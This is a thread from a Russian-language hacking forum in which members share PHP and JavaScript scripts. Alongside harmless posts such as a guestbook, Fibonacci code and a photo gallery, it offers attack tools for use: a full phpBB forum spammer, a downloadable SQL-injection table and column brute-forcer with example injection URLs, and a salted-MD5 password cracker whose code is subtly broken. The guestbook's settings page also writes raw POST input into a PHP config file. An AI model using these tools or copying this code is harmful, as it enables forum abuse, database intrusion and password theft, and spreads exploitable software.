Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. ss88

    ss88 Banned

    Joined:
    27 Nov 2008
    Messages:
    160
    Likes Received:
    44
    Reputations:
    5
    Хорошо, что разложил логические задачи на два класса, изменил, теперь конструктору класса обработки массива данных нужно передавать еще время форы для пользователей, которые еще не вышли. Ссылку на скачивание обновил в посте с описанием.
     
    1 person likes this.
  2. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    Гостевая книга
    http://develop.clubweb.ru/guestbook/guestbook_index.php

    guestbook_index.php:
    PHP:
    <!--Таблица cтилей-->
    <link rel = "stylesheet" type = "text/css" href = "style.css" />
    <?php
    //Максимальное количество новостей на страницу
    $maxNews 5;
    include(
    'guestbook_config.php');
    session_start();

    //Если отправлены данные из формы...
    if(isset($_POST['nameUser']) && isset($_POST['mailUser']) && isset($_POST['bodyUser']) && isset($_POST['captcaUser'])) {

      
    //Проверка отправленных данных
      
    foreach($badNames as $badName) {
        
    $testNameUser preg_match('/^[^ ^($badName)].{1,12}$/'$_POST['nameUser']);
        if(
    $testNameUser === TRUE$filNameUser $_POST['nameUser'];
      }
      
    $filMailUser preg_match('/^[a-z0-9\-_\.]{1,15}@[a-z0-9\-_\.]{1,15}$/i'$_POST['mailUser']);
      
    $filBodyUser preg_match('/^.{1,5000}$/'$_POST['bodyUser']);

      
    //Если принятые из формы данные прошли проверку, то записываем их в базу...
      
    if($filNameUser == TRUE && $filMailUser == TRUE && $filBodyUser == TRUE && $_SESSION['captcha'] == $_POST['captcaUser'/* && $badNames */) {

        
    //Чтение базы и сортировка её данных по массивам через цикл
        
    $fileBase file('base.txt');
        foreach(
    $fileBase as $fileBase2) {
          list(
    $id[], $name[], $mail[], $body[]) = split('\|&\|'$fileBase2);
        }

        
    //К последней записи id добавляем 1 для записи нового id
        
    $id array_pop($id);
        
    $id++;

        
    //$bodyUser = $_POST['bodyUser'];
        //$bodyUser = str_replace("\r\n", '<br />', $bodyUser);
        
    $_POST['bodyUser'] = wordwrap(str_replace("\r\n"'<br>'htmlspecialchars($_POST['bodyUser'])), 60'<br>'1);
        
    $_POST['bodyUser'] = preg_replace('#(https?://[^ ]+)#i','<a href="\\1">\\1</a>',$_POST['bodyUser']); 

        
    //Отерытие файла на добавление записи
        
    $fp fopen('base.txt''a');

        
    //Запись данных в файл
        //fputs($fp, $id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.htmlspecialchars($bodyUser)."\r\n");
        
    fputs($fp$id.'|&|'.htmlspecialchars($_POST['nameUser']).'|&|'.htmlspecialchars($_POST['mailUser']).'|&|'.$_POST['bodyUser']."\r\n");
        
    fclose($fp);
        
    $_SESSION['captcha'] = '';
        echo <<<HERE
    <table width = "500px" border = "0" align = "center" id = "mainTable">
    <tr>
      <td>
        <center>Комментарий успешно добавлен</center>
      </td>
    </table>
    HERE;

      
    //Если данные не верны...
      
    } else {
        echo <<<HERE
    <table width = "500px" border = "0" align = "center" id = "mainTable2">
    <tr>
      <td>
        <center>Не верные данные</center>
      </td>
    </tr>
    HERE;
        echo 
    '';
        if(
    $filNameUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верное имя.</span><br />
    <span id = "mainTable2_21">Имя может содержать только буквы русского и английского алфавита.</span></td></tr>'
    ;
        if(
    $filMailUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный e-mail адрес.</span><br />
    <span id = "mainTable2_21">E-mail адрес может содержать только буквы английского алфавита, цифры и символы "-_.@".</span></td></tr>'
    ;
        if(
    $filBodyUser == FALSE) echo '<tr><td><span id = "mainTable2_2">- Не верный текст комментария.</span><br />
    <span id = "mainTable2_21">Текст должен быть не длиннее 5 тысяч символов.</span></td></tr>'
    ;
        if(
    $_SESSION['captcha'] !== $_POST['captcaUser']) echo '<tr><td><span id = "mainTable2_2">- Не верно введён текст с проверочного изображения.</span><br />
    <span id = "mainTable2_21">Если Вам не понятен текст, изображённый на проверочном изображении, просто обновите страницу.</span></td></tr>'
    ;
        echo 
    '</table>';
      }
    } else {

      
    //Чтение базы и сортировка её данных по массивам через цикл
      
    $fileBase file('base.txt');
      foreach(
    $fileBase as $fileBase2) {
        list(
    $id[], $name[], $mail[], $body[]) = split('\|&\|'$fileBase2);
      }
      echo <<<HERE
    <table width = "100%" height = "100%" border = "0" cellspacing = "0"><tr><td valign = "top">
    <table width = "500px" border = "0" align = "center" id = "mainTable">
    HERE;

      
    //Если в данных сессии содержатся верные логин администратора и пароль
      
    if(isset($_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
        if(
    $_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
        echo <<<HERE
    <tr>
      <td valign = "top" height = "1px" id = "tdNew">
      <span id = "adminLink"><a href = "guestbook_admin.php">Адмынко</a></span>
      </td>
    </tr>
    HERE;
        }
      }

      
    //Если передан номер страницы ($_GET['page'])...
      
    if(empty($_GET['page'])) $_GET['page'] = 1;
      if(isset(
    $_GET['page']) && is_array($_GET['page']) === FALSE) {
        
    //$huy = $maxNews * $_GET['page'];

        //Проверка каждой новости на существование и вывод существующих на экран

        //Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "1" (От меньшего к большему)...
        
    if($commentsOrder === 1) {
          for(
    $i $maxNews $_GET['page'] - $maxNews$i $maxNews $_GET['page']; $i++) {
            
    //$countId = count($id) - 1; for($i = $countId - $maxNews * $_GET['page'] + $maxNews; $i > $countId - $maxNews * $_GET['page']; $i--) {
            
    if(isset($id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
              echo <<<HERE
    <tr>
      <td valign = "top" height = "1px" id = "tdNew">
        <span id = "titleComment"><b>
    $id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
        
    $body[$i]
      </td>
    </tr>
    HERE;
            }
          }
        }
        
    //Если в guestbook_config.php, в переменной $commentsOrder выбрано значение "2" (От большего к меньшему)...
        
    if($commentsOrder === 2) {
          
    $countId count($id) - 1;
          for(
    $i $countId $maxNews $_GET['page'] + $maxNews$i $countId $maxNews $_GET['page']; $i--) {
            if(isset(
    $id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
              echo <<<HERE
    <tr>
      <td valign = "top" height = "1px" id = "tdNew">
        <span id = "titleComment"><b>
    $id[$i]</b>, От: <a href = "mailto:$mail[$i]?subject=GuestBookClubWeb">$name[$i]</a><br /></span>
        
    $body[$i]
      </td>
    </tr>
    HERE;
            }
          }
        }
      }

      
    //Вывести список (количество по отношению к новостям) страниц
      
    echo <<<HERE
    <tr>
      <td valign = "top" id = "pageString" height = "1px">
      <center>
    HERE;
      for(
    $i 1$i <= ceil(count($name)/$maxNews); $i++) {
        if(
    $_GET['page'] == $i) echo '<font color = "gray">'."$i".'</font> ';
        else echo 
    "<a href = \"?page=$i\">$i </a>";
      }

      
    //Поле для добавления комментария
      
    echo <<<HERE
        </center>
      </td>
    </tr>
    <tr>
      <td height = "1px">

        <table width = "100%" border = "0">
        <form method = "POST">
        <tr>
          <td width = "1px" id = "secondTable">
            Ваше&nbsp;Имя:
          </td>
          <td width = "100%">
            <input type = "text" name = "nameUser" style = "width: 100%;">
          </td>
        </tr>
        <tr>
          <td id = "secondTable">
            Ваш&nbsp;Mail:
          </td>
          <td>
            <input type = "text" name = "mailUser" style = "width: 100%;">
          </td>
        </tr>
        <tr>
          <td colspan = "2">
            <textarea style = "width: 100%; height: 100px;" name = "bodyUser"></textarea>
          </td>
        </tr>
        <tr>
          <td colspan = "2">
            <img src = "img.php"><input type = "text" name = "captcaUser">
          </td>
        </tr>
        <tr>
          <td colspan = "2" align = "right" height = "1px">
            <input type = "submit" value = "Отправить">
          </td>
        </tr>
        </form>
        </table>

      </td>
    </tr>
    </table>
    </td></tr><tr><td height = "1px" valign = "top" align = "right">
    <span id = "cop"><a href = "http://develop.clubweb.ru">GuestBookClubWeb 1.1</a></span>
    </td></tr></table>
    HERE;
    //var_dump($_SESSION['captcha']);
    }
    ?>
    guestbook_admin.php:
    PHP:
    <?php
    include('guestbook_config.php');
    $maxStrings 15;
    session_start();

    if(isset(
    $_POST['loginName']) && isset($_POST['loginPass'])) {
      
    $_SESSION['loginName'] = $_POST['loginName'];
      
    $_SESSION['loginPass'] = $_POST['loginPass'];
    }

    if(isset(
    $_POST['exit'])) {unset($_SESSION); session_destroy();}

    if(isset(
    $_SESSION['loginName']) && isset($_SESSION['loginPass'])) {
      if(
    $_SESSION['loginName'] == $admin['name'] && $_SESSION['loginPass'] == $admin['pass']) {
        echo <<<HERE
    <form method = "POST">
      <input type = "submit" name = "exit" value = "Выход">&nbsp;<a href = "guestbook_index.php">Гостевая книга</a>
    </form>
    <a href = "guestbook_admin.php?list">Список новостей</a>&nbsp;-
    <a href = "guestbook_admin.php?settings">Настройки системы</a>
    <hr>
    HERE;
        if(isset(
    $_GET['list']))  {
          echo <<<HERE
    <table width = "100%" border = "1">
    <tr>
      <td align = "center" width = "1px">
    <b>ИД</b>
      </td>
      <td align = "center" width = "1px">
    <b>Имя</b>
      </td>
      <td align = "center" width = "1px">
    <b>E-mail</b>
      </td>
      <td align = "center">
    <b>Текст</b>
      </td>
      <td align = "center" width = "1px">
    <b>Дата</b>
      </td>
      <td align = "center" width = "1px">
    <b>Действия</b>
      </td>
    </tr>
    HERE;
          
    $fileBase file('base.txt');
          foreach(
    $fileBase as $fileBase2) {
            list(
    $id[], $name[], $mail[], $body[]) = split('\|&\|'$fileBase2);
          }
          
    $huy $maxStrings $_GET['page'];
          for(
    $i $huy $maxStrings$i $huy$i++) {
            if(isset(
    $id[$i]) && isset($name[$i]) && isset($mail[$i]) && isset($body[$i])) {
              echo <<<HERE
    <tr>
      <td>
    $id[$i]
      </td>
      <td>
    $name[$i]
      </td>
      <td>
    $mail[$i]
      </td>
      <td>
    $body[$i]
      </td>
      <td>
    дата
      </td>
      <td>
    <a href = "?edit=
    $i">Редактировать</a>&nbsp;-&nbsp;<a href = "?delete=$i">Удалить</a>
      </td>
    </tr>
    HERE;
          }}
          echo 
    '<tr><td colspan = "6" align = "center">';
          for(
    $i 1$i <= ceil(count($name)/$maxStrings); $i++) {
            if(!isset(
    $_GET['page'])) $_GET['page'] = 1;
            if(
    $_GET['page'] == $i) echo '<font color = "gray">['."$i".']</font> ';
            else echo 
    "<a href = \"?list&page=$i\">[$i] </a>";
          }
          echo 
    '</td></tr></table>';
        }
      } else echo 
    'Все бомжи';
    } else {
      echo <<<HERE
    <table height = "100%" width = "100%" border = "0">
    <tr>
      <td align = "center">
      <form method = "POST">
        <input type = "text" name = "loginName"><br>
        <input type = "password" name = "loginPass"><br>
        <input type = "submit" value = "Вход">
      </form>
      </td>
    </tr>
    </table>
    HERE;
    }

    if(isset(
    $_GET['settings'])) {
      if(isset(
    $_POST['order'])) {
        
    $fgcConf file_get_contents('guestbook_config.php');
        
    $fpConf fopen('guestbook_config.php''w');
        
    $fgcConf preg_replace('|\$commentsOrder = [1,2];|''$commentsOrder = '."{$_POST['order']}".';'$fgcConf);
        
    fputs($fpConf$fgcConf);
        
    fclose($fpConf);
        echo 
    'Настройки успешно изменены';
      } else {
      echo <<<HERE
    <table border = "1" width = "100%">
    <form method = "POST">
    <tr>
      <td>
        Показ&nbsp;новостей:
      </td>
      <td width = "100%">
        <input type = "radio" name = "order" value = "1">От меньшего к большему
        <input type = "radio" name = "order" value = "2">От большего к меньшему
      </td>
    </tr>
    <tr>
      <td colspan = "2" align = "right">
        <input type = "submit" value = "Сконфигурировать">
      </td>
    </tr>
    </form>
    </table>
    HERE;
      }
    }

    ?>
    guestbook_config.php:
    PHP:
    <?php
    $admin
    ['name'] = 'login';
    $admin['pass'] = 'pass';
    $commentsOrder 2;
    $badNames = array(
    'Admin',
    'Administrator',
    'Админ',
    'Администратор',
    'Аdmin',
    'Аdministrator',
    'Аdministrаtor',
    'Аdministratоr'
    );
    ?>
    img.php:
    PHP:
    <?php
    session_start
    ();
    $image imageCreate(10030);
    imageColorAllocate($image255255255);
    for(
    $i 0$i 10$i++) $color[] = imageColorAllocate($imagemt_rand(0,240), mt_rand(0,240), mt_rand(0,240));
    $abc = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','1','2','3','4','5','6','7','8','9');
    $rand = array();
    $fullRand '';
    for(
    $i 0$i 6$i++) $rand[] = $abc[mt_rand(0,22)];
    foreach(
    $rand as $randOne$fullRand .= $randOne;
    $_SESSION['captcha'] = $fullRand;
    for(
    $i 0$i 6$i++) imageTtfText($image,mt_rand(12,15),mt_rand(-20,20),15 $i mt_rand(4,8),mt_rand(20,25),$color[$i],'arial.ttf',$rand[$i]);
    for(
    $i 0$i 3$i++) imageArc($imagemt_rand(0,90), mt_rand(0,20), mt_rand(10,60), mt_rand(10,60), mt_rand(-380,0), mt_rand(0,380), $color[$i]); 
    header('Content-type: image/png');
    imagePng($image);
    ?>
    style.css:
    HTML:
    body {
      font-family: tahoma;
      margin: 0px;
    }
    
    #mainTable {
      background-color: #dbeaff;
    }
    
    #mainTable2 {
      background-color: #dbeaff;
      color: red;
    }
    
    #mainTable2_2 {
      background-color: #dbeaff;
      font-size: 12px;
      color: #c50000;
    }
    
    #mainTable2_21 {
      background-color: #dbeaff;
      font-size: 10px;
      color: #797979;
    }
    
    #secondTable {
      background-color: #f6faff;
      font-size: 14px;
      color: #426ba4;
    }
    
    #tdNew {
      border-bottom: 1px solid #f6faff;
      font-size: 14px;
    }
    
    #tdNew a:link {
      color: #0074bd;
    }
    
    #tdNew a:visited {
      color: #0074bd;
    }
    
    #tdNew a:hover {
      color: #24aaff;
    }
    
    #pageString a {
      color: #70acff;
      text-decoration: none;
    }
    
    #adminLink a {
      color: #70acff;
      text-decoration: none;
    }
    
    #cop {
      font-size: 10px;
    }
    
    #cop a:link {
      color: #77caff;
    }
    
    #cop a:visited {
      color: #77caff;
    }
    
    #cop a:hover {
      color: #24aaff;
    }
    
    #titleComment {
      color: gray;
    }
    
    base.txt (Заполняется скриптом):
    Code:
    1|&|макииа|&|[email protected]|&|vwrrbrbrg erhk gerh guiwer gui3rhgui er
    2|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    3|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    4|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    5|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    6|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    7|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    8|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    9|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    10|&|btr|&|[email protected]|&|rbetntnt4nt4 t4 n tr4n t4
    
    + кладём arial.ttf

    Писал чисто для самообучения так сказать :)
    Админка недописана, если кто-то хочет - пишите))
     
    1 person likes this.
  3. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    Согласен, но ведь кто-то и мускул поставить не может....Новичкам пойдет
     
  4. X-FRITS

    X-FRITS Elder - Старейшина

    Joined:
    24 Jun 2007
    Messages:
    57
    Likes Received:
    81
    Reputations:
    7
    Задание: хранимая функция MySQL для чисел фибоначи.
    SELECT FIBONACHI(5);

    CREATE PROCEDURE FIBONACHI(IN nomer INTEGER)
    BEGIN
    IF nomer = 1 or nomer = 2 THEN
    SET nomer = 1;
    ELSE
    SET nomer = FIBONACHI(nomer-1)+FIBONACHI(nomer-2);
    END IF
    RETURN nomer
    END
    (НЕТЕСТИЛ)

    Кажется так, я с mysql не силён, выучил, только что бы cделать задание...
    https://forum.antichat.ru/showpost.php?p=997785&postcount=42


    вот ещё вариант на PHP(рабочий)

    PHP:
    <?php
    function fibonachi($i){
    if ((
    $i==1)or($i==2)){ return 1; break;}else{
    $otvet=fibonachi($i-1)+fibonachi($i-2);
    return 
    $otvet;}}
    echo  
    fibonachi(10);
    ?>
     
    #544 X-FRITS, 29 Dec 2008
    Last edited: 29 Dec 2008
  5. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    PHP:
    <?php
    ###############################
    #Calculation brute-force time
    #  By #Wolf# & Special thanks  -=lebed=-
    ################################ 
    if(isset($_POST['char']) && isset($_POST['num']) && isset($_POST['speed']))
    {
    $char=$_POST['char'];
    $num=$_POST['num'];
    $speed=$_POST['speed'];
    $do=pow($char,$num);
    $do2=$do/$speed;
    $se=$do2/1000000;
    $ro=round($se);
    }
    function 
    format_time($sec) {
     
    $a = array(
      
    31556926   => 'year'//количество секунд в году
      
    2629743    => 'month'//количество секунд в месяце
      
    86400      => 'day'// количество секунд в сутках
      
    3600       => 'hour'// количество секунд в часе
      
    60         => 'min'// количество секунд в минуте
      
    1          => 'sec' // количество секунд в секунде
     
    );
     
    $out '';
     foreach (
    $a as $k=>$v) {
      
    $tmp floor($sec/$k);
      
    $out .= ($tmp?$tmp.$v.' ':'');
      
    $sec -= $tmp*$k;
     }
     return 
    $out;
    }

    echo <<<HERE
    <html>
    <head>
    <title></title>
    <style>
    body
    {
        background-color: #cdc9c9;
    }
    table
    {
        border: 1px #666666 solid;
    }
    td,th
    {
        font-size: 10px;
        font-family: verdana, tahoma;
        color: #666666;
        background-color: #cdc9c9;
        border: 0px #333333 solid;
    }
    input
    {
        font-family: verdana, tahoma;
        font-size: 10px;
        color: grey;
        background-color: #cdc9c9;
        border: 1px #666666 solid;
    }
    a
    {
        font-size: 10px;
        text-decoration: none;
        color: grey;
    }
    </style>
    </head>
    <table border="0" width="600" align="center"> 
    <form method="POST">
    <tr>
    <td colspan="2" align="center">
    <b>Скрипт для расчета времени перебора</b>
    </td>
    </tr>
    <tr>
    <td>Символов в наборе</td>
    <td><input type="text" name="char" size="50"></td>
    </tr>
    <tr>
    <td>Глубина перебора(длина)</td>
    <td><input type="text" name="num" size="50"></td>
    </tr>
    <tr>
    <td>Скорость перебора(млн/с)</td>
    <td><input type="text" name="speed" size="50"></td>
    </tr>
    <tr>
    <td colspan="2" align="center"><input type="submit" value="Отправить"></td>
    </tr>
    <td colspan="2" align="center">
    <b>
    HERE;
     echo 
    format_time($ro)."<b>

    <tr>
    <td colspan=\"2\" align=\"center\">
    Coded by <b>#Wolf# & Special thanks -=lebed=- ;-)</b>
    </td>
    </tr>
    </form>
    </table>"
    ;
    ?>
     
    1 person likes this.
  6. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Вы хотели создать свой квест?
    Это вам поможет!!
    HTML and CSS by Ponchik
    Там есть и начала где список тех кто прошёл, и конец где модно оставить свой текст!
    Удачи!
    Или тут: http://v0id.cn/file/sQuest.rar
    Демо: http://v0id.cn/file/sQuest/
     

    Attached Files:

    #546 -Hormold-, 29 Dec 2008
    Last edited: 29 Dec 2008
    2 people like this.
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Mysql4Bruter.exe

    Тем, кто часто работает с SIPT4. Просто в один прекрасный день (сегодня) достало объяснять этой, несомненно, мегапроге, что по ссылке, где я хочу произвести брут таблиц/колонок в MySQL4 есть SQL-Inj, и причем частенько SIPT4 не может увидеть саму скулю, но мы то знаем, что скуля есть:) В итоге написал именно БРУТЕР, без всякой лишней галиматьи, которому не надо объяснять GET, POST, заново подбирать кол-во полей и т.д., а просто вписать ссылку и запустить.

    mysql4bruter.exe - Программа mysql4bruter.exe предназначена для брута таблиц и колонок в MySQL<5

    В комплекте 7 файлов:

    1. mysql4bruter.exe - сама программа

    2. source_url.txt - файл инициализация URL, не может быть пустым, при котором можно получить SQL-inject (в этой версии предполагается, что количество колонок вы уже подобрали сами самостоятельно и вам лишь следует скопирвать нужный URL в
    этот файл и заменить номер принтабельной колонки (одной) на символ "№"). Например есть уязвимость по
    ссылке:

    http://www.sait.ru/index.php?id=1+union+select+1,version()/*
    в source_url.txt надо вставить:
    http://www.sait.ru/index.php?id=1+union+select+1,№ и переходить к пункту 3

    3. source_filtr.txt - файл инициализации фильтра (/*,--,# и т.д. или просто пусто)

    4. source_limit.txt - файл инициализации limit:
    Пусто - без limit
    0 - /**/limit/**/0,1
    1 - /**/limit/**/1,1

    5. source_unhex_hex.txt - файл инициализации для команды unhex(hex()), во избежании проблем с несовпадением с кодировками в некоторых случаях, не может быть пустым:

    0 - no
    1 - yes

    6. После того, как вы занесли заполнили эти два файла (обязательное условие для корректной работы программы), можете запускать саму программу RUN!!!.cmd. Начнется брут по списку таблиц из файла source_table_list.txt, результаты которого будут сохранены в output.txt

    7. После того, как вы сбрутили хоть одну таблицу, вы можете начать брутить колонки из этой таблицы,
    для этого вам надо заполнить файл source_table.txt - а именно просто внести туда название интересующей вас таблицы. И снова запустить RUN!!!.cmd. Будет произеден брут полей интересующей вас таблицы по списку из файла
    source_column_list.txt и результаты будут также сохранены в файл output.txt

    Example: http://www.site.org/index.php?id=1+union+select+1,version()/*
    source_url.txt: "http://www.site.org/index.php?id=1+union+select+1,№"
    source_unhex_hex.txt : "0"
    source_filtr.txt: "/*"
    source_table.txt: ""
    source_column.txt: ""
    source_limit.txt: ""

    Программа написана на чистом PHP (c)Pashkela ( 0,53 Мб )

    Скачать: http://pashkela.narod.ru/progi/MySql4Bruter.rar

    Пароль на архив - 123

    В комплекте словари от того же SIPT4
     
    #547 Pashkela, 29 Dec 2008
    Last edited: 29 Dec 2008
    1 person likes this.
  8. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    405
    Likes Received:
    163
    Reputations:
    12
    Поворот текста

    Вот тоже скриптик несильно нужный но ради боловстава выложу.Переворачивает текст задом наперед
    PHP:
    <script language="JavaScript"> function IIIIIIIIIIII() {  var result flipString(document.f.original.value.toLowerCase());  document.f.flipped.value result; }  function flipString(aString) {  var last aString.length 1;  var result = new Array(aString.length)  for (var last>= 0; --i) {  var aString.charAt(i)  var flipTable[c]  result[last i] = != undefined c  }  return result.join('') }  var flipTable = { '\u0250''q''\u0254'//open o -- from pne d : 'p', e : '\u01DD', f : '\u025F', //from pne g : '\u0183', h : '\u0265', i : '\u0131', //from pne j : '\u027E', k : '\u029E', //l : '\u0283', m : '\u026F', n : 'u', r : '\u0279', t : '\u0287', v : '\u028C', w : '\u028D', y : '\u028E', '.' : '\u02D9', '[' : ']', '(' : ')', '{' : '}', '?' : '\u00BF', //from pne '!' : '\u00A1', "\'" : ',', '<' : '>', '_' : '\u203E', ';' : '\u061B', '\u203F' : '\u2040', '\u2045' : '\u2046', '\u2234' : '\u2235', '\r' : '\n' //thank you, Waik }  for (i in flipTable) {  flipTable[flipTable[i]] = i }  </script></head><body> <form name="f"> <textarea rows="5" cols="50" name="original" onkeyup="IIIIIIIIIIII()"></textarea><input value="Flip" onclick="IIIIIIIIIIII()" type="button"> <textarea rows="5" cols="50" name="flipped"></textarea> </form> 
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    phpBB2 Forum spammer

    PHP:
    <html><head>
    <
    meta name="GENERATOR" content="Microsoft FrontPage 6.0">
    <
    meta name="ProgId" content="FrontPage.Editor.Document">
    <
    meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <
    title>phpBB Spammer</title>
    <
    script type="text/javascript">
    <!--

    function 
    submitForm(counter)
    {
       
    document.title 'phpBB Spammer' counter ' topics posted';

       if(
    document.docform.script_on.value == '1')
       {
          
    document.docform.action document.docform.target.value;
          
    document.docform.submit();
          
    counter++;
       }
       
    document.getElementById('counterspan').innerHTML counter;
       
    setTimeout("submitForm(" counter ")"document.docform.intervals.value 1000);
    }

    function 
    onOff()
    {
       if(
    document.docform.script_on.value == '1')
       {
          
    document.docform.script_on.value '0';
          
    document.docform.stopstart.value 'Start!';
       }
       else
       {
          
    document.docform.script_on.value '1';
          
    document.docform.stopstart.value 'Stop!';
       }
    }

    //-Arrow
    </script>
    </head><body onload="submitForm(0)" style="font-family: Verdana; font-size: 8pt; font-style: italic;">



    <form name="docform" enctype="multipart/form-data" action="" method="post" target="iframe">
    <div align="left">
      <table style="border-collapse: collapse;" id="AutoNumber1" bgcolor="#dee9f3" border="1" bordercolor="#c0c0c0" cellpadding="0" cellspacing="0" width="100%">
        <tbody><tr>
          <td colspan="2" bgcolor="#c4d8ea">
          <h1 align="center">
          <span style="font-style: italic; text-decoration: underline;">Afterlife's phpBB Spammer!</span></h1>
          </td>
        </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Intervals (seconds)</font></i></td>
          <td width="46%"><font size="1"><input name="intervals" size="57" value="30" type="text"></font></td>
        </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Forum ID (This can be found in the forum url, in the url
          you will see viewforum.php?f={num}, the number is the id.)</font></i></td>
          <td width="46%"><font size="1"><input name="f" size="57" type="text"></font></td>
           </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Target</font></i></td>
          <td width="46%">
          <font size="1">
          <input name="target" size="57" value="http://www.phpbb.com/phpBB/posting.php" type="text"></font></td>
        </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Topic Title</font></i></td>
          <td width="46%">
          <font size="1">
          <input name="subject" size="57" value="Spam!" type="text"></font></td>
        </tr>
       <tr>
          <td width="54%"><i><font size="1">&nbsp;Topic Content</font></i></td>
          <td width="46%">
          <font size="1">
          <textarea rows="5" name="message" cols="48">You are being spammed bitch!</textarea></font></td>
           </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Controls</font></i></td>
          <td width="46%">
             <font size="1">
             <input value="Start!" name="stopstart" onclick="onOff()" type="button"><i>
             <input name="script_on" value="0" type="hidden">
             <input name="mode" value="newtopic" type="hidden">
             <input name="post" class="mainoption" value="Submit" type="hidden">
    &nbsp;(Please be logged in first, Use the autologin feature)</i></font></td>
        </tr>
        <tr>
          <td width="54%"><i><font size="1">&nbsp;Total post requests made</font></i></td>
          <td width="46%">
             <i>
             <font size="1">&nbsp;<span id="counterspan">0</span></font></i>
          </td>
        </tr>
        <tr>
          <td colspan="2">
          <i><font size="1">
          <iframe name="iframe" marginwidth="1" marginheight="1" border="0" align="center" width="100%" frameborder="0" height="500">
    Your browser does not support inline frames or is currently configured
    not to display inline frames, This spammer requires inline frames to
    function.</iframe>

          </font></i>

          </td>
        </tr>
      </tbody></table>
    </div>
    </form>

    </body></html>
    (с) dnsman
     
    _________________________
    1 person likes this.
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Красивая галерея фоток, картинок в два клика

    Основано на javasсriрt, если конкретней на lightgallery, проверено на narod.ru (где, как известно, кроме javasсriрt ничего больше и нет - значит будет работать на любом сайте), аналогов нет. С анимацией и превьюшками и автоподстройкой под разрешение монитора.

    Посмотреть в действии здесь:

    http://pashkela.narod.ru/foto/index.html

    скачать здесь:

    http://pashkela.narod.ru/foto/gallery.rar

    В комплекте несколько файлов:

    1. Каталог lightgallery - там скрипты, кнопки и прочее
    2. Тестовые картинки 1.jpg, 2.jpg, 3.jpg, 4.jpg (просто, чтобы понять, как работает)
    3. Основная страница - index.html

    Принцип проще некуда (найдете проще - отпишитесь:)):

    1. Скачиваем и распаковываем на свой комп http://pashkela.narod.ru/foto/gallery.rar
    2. Открываем index.html в блокноте (правая кнопочка мышки на файл-открыть с помощью-блокнот)
    3. Сверху нас интересуют только три строчки:

    //КОЛИЧЕСТВО ФОТОГРАФИЙ

    var kol=4;

    //РАСШИРЕНИЕ ФОТОГРАФИЙ (.jpg, .gif, .bmp, etc...)

    var ras = "jpg";

    //НАЗВАНИЕ ГАЛЕРЕИ

    var naz = "НОВЫЙ ГОД";

    думаю тут объяснять не надо, просто меняете на свои параметры и всё.

    Заливает на свой сервер, например http://ваш_ник_на_народе/foto/

    туда же заливаете фотки, ТУТ ВНИМАТЕЛЬНО:

    все фотки просто должны быть переименованы в

    1.jpg, 2.jpg, 3.jpg, 4.jpg.......100.jpg

    ну естественно начиная с 1 и заканчивая просто сколько у вас фоток. Если не .jpg, то и ничего страшного, просто в index.html укажите Ваш тип расширения

    Собственно и всё. Переходите по адресу http://ваш_ник_на_народе/foto/index.html и наслаждаетесь
     
    1 person likes this.
  11. Кемит Блонски

    Joined:
    4 Jan 2009
    Messages:
    12
    Likes Received:
    15
    Reputations:
    0
    брут мд5 хэшей с солью.

    брут мд5 хэшей с солью.

    PHP:
    set_time_limit(0); 
    if (!isset(
    $_POST['crack'])) { 
    echo 
    "<i>World-List</i>: <input type='text' name='list'><br>"
    echo 
    "<i>MD5 Hash</i>: <input type='text' name='hash'><br>"
    echo 
    "<i>Salt</i>: <input type='text' name='salt'><br>"
    echo 
    "<input type='submit' name='submit' value='Crack The Salt!'>"
    $list $_POST['list']; 
    $hash $_POST['hash']; 
    $salt $_POST['salt']; 
    }else{ 
      
    foreach(
    file($list) as $line){ 
    $line str_replace("\n","",$line); 
    $cracked md5(md5($line).$salt); 
    if(
    $hash $cracked){ 
    die(
    "Salt Broken...<br> 
        [+]Password = 
    $line<br>"); 
      

    }else{ 
    echo 
    "Sorry mate, no payoff today, try another list!"

    ?>  
     
    2 people like this.
  12. Кемит Блонски

    Joined:
